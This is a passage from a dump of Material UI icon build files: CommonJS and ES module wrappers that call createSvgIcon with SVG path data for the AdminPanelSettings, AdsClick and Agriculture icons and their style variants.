    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11c.34 0 .67.04 1 .09V6.27L10.5 3 3 6.27v4.91c0 4.54 3.2 8.79 7.5 9.82.55-.13 1.08-.32 1.6-.55-.69-.98-1.1-2.17-1.1-3.45 0-3.31 2.69-6 6-6\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 13c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 1.38c.62 0 1.12.51 1.12 1.12s-.51 1.12-1.12 1.12-1.12-.51-1.12-1.12.5-1.12 1.12-1.12m0 5.37c-.93 0-1.74-.46-2.24-1.17.05-.72 1.51-1.08 2.24-1.08s2.19.36 2.24 1.08c-.5.71-1.31 1.17-2.24 1.17\"\n}, \"1\")], 'AdminPanelSettings');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdminPanelSettingsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(\"g\", {\n  fillRule: \"evenodd\",\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n    cx: \"17\",\n    cy: \"15.5\",\n    r: \"1.12\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M17 17.5c-.73 0-2.19.36-2.24 1.08.5.71 1.32 1.17 2.24 1.17s1.74-.46 2.24-1.17c-.05-.72-1.51-1.08-2.24-1.08\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M18 11.09V6.27L10.5 3 3 6.27v4.91c0 4.54 3.2 8.79 7.5 9.82.55-.13 1.08-.32 1.6-.55C13.18 21.99 14.97 23 17 23c3.31 0 6-2.69 6-6 0-2.97-2.16-5.43-5-5.91M11 17c0 .56.08 1.11.23 1.62-.24.11-.48.22-.73.3-3.17-1-5.5-4.24-5.5-7.74v-3.6l5.5-2.4 5.5 2.4v3.51c-2.84.48-5 2.94-5 5.91m6 4c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n  })]\n}), 'AdminPanelSettingsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdminPanelSettingsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(\"g\", {\n  fillRule: \"evenodd\",\n  children: [/*#__PURE__*/_jsx(\"circle\", {\n    cx: \"17\",\n    cy: \"15.5\",\n    r: \"1.12\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M17 17.5c-.73 0-2.19.36-2.24 1.08.5.71 1.32 1.17 2.24 1.17s1.74-.46 2.24-1.17c-.05-.72-1.51-1.08-2.24-1.08\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M18 11.09V6.27L10.5 3 3 6.27v4.91c0 4.54 3.2 8.79 7.5 9.82.55-.13 1.08-.32 1.6-.55C13.18 21.99 14.97 23 17 23c3.31 0 6-2.69 6-6 0-2.97-2.16-5.43-5-5.91M11 17c0 .56.08 1.11.23 1.62-.24.11-.48.22-.73.3-3.17-1-5.5-4.24-5.5-7.74v-3.6l5.5-2.4 5.5 2.4v3.51c-2.84.48-5 2.94-5 5.91m6 4c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n  })]\n}), 'AdminPanelSettingsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdminPanelSettingsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11c.34 0 .67.04 1 .09V7.58c0-.8-.47-1.52-1.2-1.83l-5.5-2.4c-.51-.22-1.09-.22-1.6 0l-5.5 2.4C3.47 6.07 3 6.79 3 7.58v3.6c0 4.54 3.2 8.79 7.5 9.82.55-.13 1.08-.32 1.6-.55-.69-.98-1.1-2.17-1.1-3.45 0-3.31 2.69-6 6-6\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 13c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 1.38c.62 0 1.12.51 1.12 1.12s-.51 1.12-1.12 1.12-1.12-.51-1.12-1.12.5-1.12 1.12-1.12m0 5.37c-.93 0-1.74-.46-2.24-1.17.05-.72 1.51-1.08 2.24-1.08s2.19.36 2.24 1.08c-.5.71-1.31 1.17-2.24 1.17\"\n}, \"1\")], 'AdminPanelSettingsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdminPanelSettingsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11c.34 0 .67.04 1 .09V7.58c0-.8-.47-1.52-1.2-1.83l-5.5-2.4c-.51-.22-1.09-.22-1.6 0l-5.5 2.4C3.47 6.07 3 6.79 3 7.58v3.6c0 4.54 3.2 8.79 7.5 9.82.55-.13 1.08-.32 1.6-.55-.69-.98-1.1-2.17-1.1-3.45 0-3.31 2.69-6 6-6\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 13c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 1.38c.62 0 1.12.51 1.12 1.12s-.51 1.12-1.12 1.12-1.12-.51-1.12-1.12.5-1.12 1.12-1.12m0 5.37c-.93 0-1.74-.46-2.24-1.17.05-.72 1.51-1.08 2.24-1.08s2.19.36 2.24 1.08c-.5.71-1.31 1.17-2.24 1.17\"\n}, \"1\")], 'AdminPanelSettingsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdminPanelSettingsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11c.34 0 .67.04 1 .09V6.27L10.5 3 3 6.27v4.91c0 4.54 3.2 8.79 7.5 9.82.55-.13 1.08-.32 1.6-.55-.69-.98-1.1-2.17-1.1-3.45 0-3.31 2.69-6 6-6\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 13c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 1.38c.62 0 1.12.51 1.12 1.12s-.51 1.12-1.12 1.12-1.12-.51-1.12-1.12.5-1.12 1.12-1.12m0 5.37c-.93 0-1.74-.46-2.24-1.17.05-.72 1.51-1.08 2.24-1.08s2.19.36 2.24 1.08c-.5.71-1.31 1.17-2.24 1.17\"\n}, \"1\")], 'AdminPanelSettingsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdminPanelSettingsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11c.34 0 .67.04 1 .09V6.27L10.5 3 3 6.27v4.91c0 4.54 3.2 8.79 7.5 9.82.55-.13 1.08-.32 1.6-.55-.69-.98-1.1-2.17-1.1-3.45 0-3.31 2.69-6 6-6\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 13c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 1.38c.62 0 1.12.51 1.12 1.12s-.51 1.12-1.12 1.12-1.12-.51-1.12-1.12.5-1.12 1.12-1.12m0 5.37c-.93 0-1.74-.46-2.24-1.17.05-.72 1.51-1.08 2.24-1.08s2.19.36 2.24 1.08c-.5.71-1.31 1.17-2.24 1.17\"\n}, \"1\")], 'AdminPanelSettingsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdminPanelSettingsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16 7.58-5.5-2.4L5 7.58v3.6c0 3.5 2.33 6.74 5.5 7.74.25-.08.49-.2.73-.3-.15-.51-.23-1.06-.23-1.62 0-2.97 2.16-5.43 5-5.91z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 13c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 1.38c.62 0 1.12.51 1.12 1.12s-.51 1.12-1.12 1.12-1.12-.51-1.12-1.12.5-1.12 1.12-1.12m0 5.37c-.93 0-1.74-.46-2.24-1.17.05-.72 1.51-1.08 2.24-1.08s2.19.36 2.24 1.08c-.5.71-1.31 1.17-2.24 1.17\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"15.5\",\n  r: \"1.12\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11.09V6.27L10.5 3 3 6.27v4.91c0 4.54 3.2 8.79 7.5 9.82.55-.13 1.08-.32 1.6-.55C13.18 21.99 14.97 23 17 23c3.31 0 6-2.69 6-6 0-2.97-2.16-5.43-5-5.91M11 17c0 .56.08 1.11.23 1.62-.24.11-.48.22-.73.3-3.17-1-5.5-4.24-5.5-7.74v-3.6l5.5-2.4 5.5 2.4v3.51c-2.84.48-5 2.94-5 5.91m6 4c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 17.5c-.73 0-2.19.36-2.24 1.08.5.71 1.32 1.17 2.24 1.17s1.74-.46 2.24-1.17c-.05-.72-1.51-1.08-2.24-1.08\"\n}, \"4\")], 'AdminPanelSettingsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdminPanelSettingsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 7.58-5.5-2.4L5 7.58v3.6c0 3.5 2.33 6.74 5.5 7.74.25-.08.49-.2.73-.3-.15-.51-.23-1.06-.23-1.62 0-2.97 2.16-5.43 5-5.91z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 13c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 1.38c.62 0 1.12.51 1.12 1.12s-.51 1.12-1.12 1.12-1.12-.51-1.12-1.12.5-1.12 1.12-1.12m0 5.37c-.93 0-1.74-.46-2.24-1.17.05-.72 1.51-1.08 2.24-1.08s2.19.36 2.24 1.08c-.5.71-1.31 1.17-2.24 1.17\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"15.5\",\n  r: \"1.12\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11.09V6.27L10.5 3 3 6.27v4.91c0 4.54 3.2 8.79 7.5 9.82.55-.13 1.08-.32 1.6-.55C13.18 21.99 14.97 23 17 23c3.31 0 6-2.69 6-6 0-2.97-2.16-5.43-5-5.91M11 17c0 .56.08 1.11.23 1.62-.24.11-.48.22-.73.3-3.17-1-5.5-4.24-5.5-7.74v-3.6l5.5-2.4 5.5 2.4v3.51c-2.84.48-5 2.94-5 5.91m6 4c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 17.5c-.73 0-2.19.36-2.24 1.08.5.71 1.32 1.17 2.24 1.17s1.74-.46 2.24-1.17c-.05-.72-1.51-1.08-2.24-1.08\"\n}, \"4\")], 'AdminPanelSettingsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdsClick.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.71 17.99C8.53 17.84 6 15.22 6 12c0-3.31 2.69-6 6-6 3.22 0 5.84 2.53 5.99 5.71l-2.1-.63C15.48 9.31 13.89 8 12 8c-2.21 0-4 1.79-4 4 0 1.89 1.31 3.48 3.08 3.89zM22 12c0 .3-.01.6-.04.9l-1.97-.59c.01-.1.01-.21.01-.31 0-4.42-3.58-8-8-8s-8 3.58-8 8 3.58 8 8 8c.1 0 .21 0 .31-.01l.59 1.97c-.3.03-.6.04-.9.04-5.52 0-10-4.48-10-10S6.48 2 12 2s10 4.48 10 10m-3.77 4.26L22 15l-10-3 3 10 1.26-3.77 4.27 4.27 1.98-1.98z\"\n}), 'AdsClick');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdsClick.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.71 17.99C8.53 17.84 6 15.22 6 12c0-3.31 2.69-6 6-6 3.22 0 5.84 2.53 5.99 5.71l-2.1-.63C15.48 9.31 13.89 8 12 8c-2.21 0-4 1.79-4 4 0 1.89 1.31 3.48 3.08 3.89zM22 12c0 .3-.01.6-.04.9l-1.97-.59c.01-.1.01-.21.01-.31 0-4.42-3.58-8-8-8s-8 3.58-8 8 3.58 8 8 8c.1 0 .21 0 .31-.01l.59 1.97c-.3.03-.6.04-.9.04-5.52 0-10-4.48-10-10S6.48 2 12 2s10 4.48 10 10m-3.77 4.26L22 15l-10-3 3 10 1.26-3.77 4.27 4.27 1.98-1.98z\"\n}), 'AdsClick');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdsClickOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.71 17.99C8.53 17.84 6 15.22 6 12c0-3.31 2.69-6 6-6 3.22 0 5.84 2.53 5.99 5.71l-2.1-.63C15.48 9.31 13.89 8 12 8c-2.21 0-4 1.79-4 4 0 1.89 1.31 3.48 3.08 3.89zM22 12c0 .3-.01.6-.04.9l-1.97-.59c.01-.1.01-.21.01-.31 0-4.42-3.58-8-8-8s-8 3.58-8 8 3.58 8 8 8c.1 0 .21 0 .31-.01l.59 1.97c-.3.03-.6.04-.9.04-5.52 0-10-4.48-10-10S6.48 2 12 2s10 4.48 10 10m-3.77 4.26L22 15l-10-3 3 10 1.26-3.77 4.27 4.27 1.98-1.98z\"\n}), 'AdsClickOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdsClickOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.71 17.99C8.53 17.84 6 15.22 6 12c0-3.31 2.69-6 6-6 3.22 0 5.84 2.53 5.99 5.71l-2.1-.63C15.48 9.31 13.89 8 12 8c-2.21 0-4 1.79-4 4 0 1.89 1.31 3.48 3.08 3.89zM22 12c0 .3-.01.6-.04.9l-1.97-.59c.01-.1.01-.21.01-.31 0-4.42-3.58-8-8-8s-8 3.58-8 8 3.58 8 8 8c.1 0 .21 0 .31-.01l.59 1.97c-.3.03-.6.04-.9.04-5.52 0-10-4.48-10-10S6.48 2 12 2s10 4.48 10 10m-3.77 4.26L22 15l-10-3 3 10 1.26-3.77 4.27 4.27 1.98-1.98z\"\n}), 'AdsClickOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdsClickRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.71 17.99C8.53 17.84 6 15.22 6 12c0-3.31 2.69-6 6-6 3.22 0 5.84 2.53 5.99 5.71l-2.1-.63C15.48 9.31 13.89 8 12 8c-2.21 0-4 1.79-4 4 0 1.89 1.31 3.48 3.08 3.89zM22 12c0 .3-.01.6-.04.9l-1.97-.59c.01-.1.01-.21.01-.31 0-4.42-3.58-8-8-8s-8 3.58-8 8 3.58 8 8 8c.1 0 .21 0 .31-.01l.59 1.97c-.3.03-.6.04-.9.04-5.52 0-10-4.48-10-10S6.48 2 12 2s10 4.48 10 10m-3.77 4.26 2.27-.76c.46-.15.45-.81-.01-.95l-7.6-2.28c-.38-.11-.74.24-.62.62l2.28 7.6c.14.47.8.48.95.01l.76-2.27 3.91 3.91c.2.2.51.2.71 0l1.27-1.27c.2-.2.2-.51 0-.71z\"\n}), 'AdsClickRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdsClickRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.71 17.99C8.53 17.84 6 15.22 6 12c0-3.31 2.69-6 6-6 3.22 0 5.84 2.53 5.99 5.71l-2.1-.63C15.48 9.31 13.89 8 12 8c-2.21 0-4 1.79-4 4 0 1.89 1.31 3.48 3.08 3.89zM22 12c0 .3-.01.6-.04.9l-1.97-.59c.01-.1.01-.21.01-.31 0-4.42-3.58-8-8-8s-8 3.58-8 8 3.58 8 8 8c.1 0 .21 0 .31-.01l.59 1.97c-.3.03-.6.04-.9.04-5.52 0-10-4.48-10-10S6.48 2 12 2s10 4.48 10 10m-3.77 4.26 2.27-.76c.46-.15.45-.81-.01-.95l-7.6-2.28c-.38-.11-.74.24-.62.62l2.28 7.6c.14.47.8.48.95.01l.76-2.27 3.91 3.91c.2.2.51.2.71 0l1.27-1.27c.2-.2.2-.51 0-.71z\"\n}), 'AdsClickRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdsClickSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.71 17.99C8.53 17.84 6 15.22 6 12c0-3.31 2.69-6 6-6 3.22 0 5.84 2.53 5.99 5.71l-2.1-.63C15.48 9.31 13.89 8 12 8c-2.21 0-4 1.79-4 4 0 1.89 1.31 3.48 3.08 3.89zM22 12c0 .3-.01.6-.04.9l-1.97-.59c.01-.1.01-.21.01-.31 0-4.42-3.58-8-8-8s-8 3.58-8 8 3.58 8 8 8c.1 0 .21 0 .31-.01l.59 1.97c-.3.03-.6.04-.9.04-5.52 0-10-4.48-10-10S6.48 2 12 2s10 4.48 10 10m-3.77 4.26L22 15l-10-3 3 10 1.26-3.77 4.27 4.27 1.98-1.98z\"\n}), 'AdsClickSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdsClickSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.71 17.99C8.53 17.84 6 15.22 6 12c0-3.31 2.69-6 6-6 3.22 0 5.84 2.53 5.99 5.71l-2.1-.63C15.48 9.31 13.89 8 12 8c-2.21 0-4 1.79-4 4 0 1.89 1.31 3.48 3.08 3.89zM22 12c0 .3-.01.6-.04.9l-1.97-.59c.01-.1.01-.21.01-.31 0-4.42-3.58-8-8-8s-8 3.58-8 8 3.58 8 8 8c.1 0 .21 0 .31-.01l.59 1.97c-.3.03-.6.04-.9.04-5.52 0-10-4.48-10-10S6.48 2 12 2s10 4.48 10 10m-3.77 4.26L22 15l-10-3 3 10 1.26-3.77 4.27 4.27 1.98-1.98z\"\n}), 'AdsClickSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdsClickTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.71 17.99C8.53 17.84 6 15.22 6 12c0-3.31 2.69-6 6-6 3.22 0 5.84 2.53 5.99 5.71l-2.1-.63C15.48 9.31 13.89 8 12 8c-2.21 0-4 1.79-4 4 0 1.89 1.31 3.48 3.08 3.89zM22 12c0 .3-.01.6-.04.9l-1.97-.59c.01-.1.01-.21.01-.31 0-4.42-3.58-8-8-8s-8 3.58-8 8 3.58 8 8 8c.1 0 .21 0 .31-.01l.59 1.97c-.3.03-.6.04-.9.04-5.52 0-10-4.48-10-10S6.48 2 12 2s10 4.48 10 10m-3.77 4.26L22 15l-10-3 3 10 1.26-3.77 4.27 4.27 1.98-1.98z\"\n}), 'AdsClickTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AdsClickTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.71 17.99C8.53 17.84 6 15.22 6 12c0-3.31 2.69-6 6-6 3.22 0 5.84 2.53 5.99 5.71l-2.1-.63C15.48 9.31 13.89 8 12 8c-2.21 0-4 1.79-4 4 0 1.89 1.31 3.48 3.08 3.89zM22 12c0 .3-.01.6-.04.9l-1.97-.59c.01-.1.01-.21.01-.31 0-4.42-3.58-8-8-8s-8 3.58-8 8 3.58 8 8 8c.1 0 .21 0 .31-.01l.59 1.97c-.3.03-.6.04-.9.04-5.52 0-10-4.48-10-10S6.48 2 12 2s10 4.48 10 10m-3.77 4.26L22 15l-10-3 3 10 1.26-3.77 4.27 4.27 1.98-1.98z\"\n}), 'AdsClickTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Agriculture.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 12c.93 0 1.78.28 2.5.76V8c0-1.1-.9-2-2-2h-6.29l-1.06-1.06 1.41-1.41-.71-.71-3.53 3.53.71.71 1.41-1.41L13 6.71V9c0 1.1-.9 2-2 2h-.54c.95 1.06 1.54 2.46 1.54 4 0 .34-.04.67-.09 1h3.14c.25-2.25 2.14-4 4.45-4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 13c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M4 9h5c0-1.1-.9-2-2-2H4c-.55 0-1 .45-1 1s.45 1 1 1m5.83 4.82-.18-.47.93-.35c-.46-1.06-1.28-1.91-2.31-2.43l-.4.89-.46-.21.4-.9C7.26 10.13 6.64 10 6 10c-.53 0-1.04.11-1.52.26l.34.91-.47.18-.35-.93c-1.06.46-1.91 1.28-2.43 2.31l.89.4-.21.46-.9-.4C1.13 13.74 1 14.36 1 15c0 .53.11 1.04.26 1.52l.91-.34.18.47-.93.35c.46 1.06 1.28 1.91 2.31 2.43l.4-.89.46.21-.4.9c.55.22 1.17.35 1.81.35.53 0 1.04-.11 1.52-.26l-.34-.91.47-.18.35.93c1.06-.46 1.91-1.28 2.43-2.31l-.89-.4.21-.46.9.4c.22-.55.35-1.17.35-1.81 0-.53-.11-1.04-.26-1.52zm-2.68 3.95c-1.53.63-3.29-.09-3.92-1.62s.09-3.29 1.62-3.92 3.29.09 3.92 1.62c.64 1.53-.09 3.29-1.62 3.92\"\n}, \"1\")], 'Agriculture');"
  },
  {
    "path": "packages/mui-icons-material/lib/Agriculture.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 12c.93 0 1.78.28 2.5.76V8c0-1.1-.9-2-2-2h-6.29l-1.06-1.06 1.41-1.41-.71-.71-3.53 3.53.71.71 1.41-1.41L13 6.71V9c0 1.1-.9 2-2 2h-.54c.95 1.06 1.54 2.46 1.54 4 0 .34-.04.67-.09 1h3.14c.25-2.25 2.14-4 4.45-4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 13c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M4 9h5c0-1.1-.9-2-2-2H4c-.55 0-1 .45-1 1s.45 1 1 1m5.83 4.82-.18-.47.93-.35c-.46-1.06-1.28-1.91-2.31-2.43l-.4.89-.46-.21.4-.9C7.26 10.13 6.64 10 6 10c-.53 0-1.04.11-1.52.26l.34.91-.47.18-.35-.93c-1.06.46-1.91 1.28-2.43 2.31l.89.4-.21.46-.9-.4C1.13 13.74 1 14.36 1 15c0 .53.11 1.04.26 1.52l.91-.34.18.47-.93.35c.46 1.06 1.28 1.91 2.31 2.43l.4-.89.46.21-.4.9c.55.22 1.17.35 1.81.35.53 0 1.04-.11 1.52-.26l-.34-.91.47-.18.35.93c1.06-.46 1.91-1.28 2.43-2.31l-.89-.4.21-.46.9.4c.22-.55.35-1.17.35-1.81 0-.53-.11-1.04-.26-1.52zm-2.68 3.95c-1.53.63-3.29-.09-3.92-1.62s.09-3.29 1.62-3.92 3.29.09 3.92 1.62c.64 1.53-.09 3.29-1.62 3.92\"\n}, 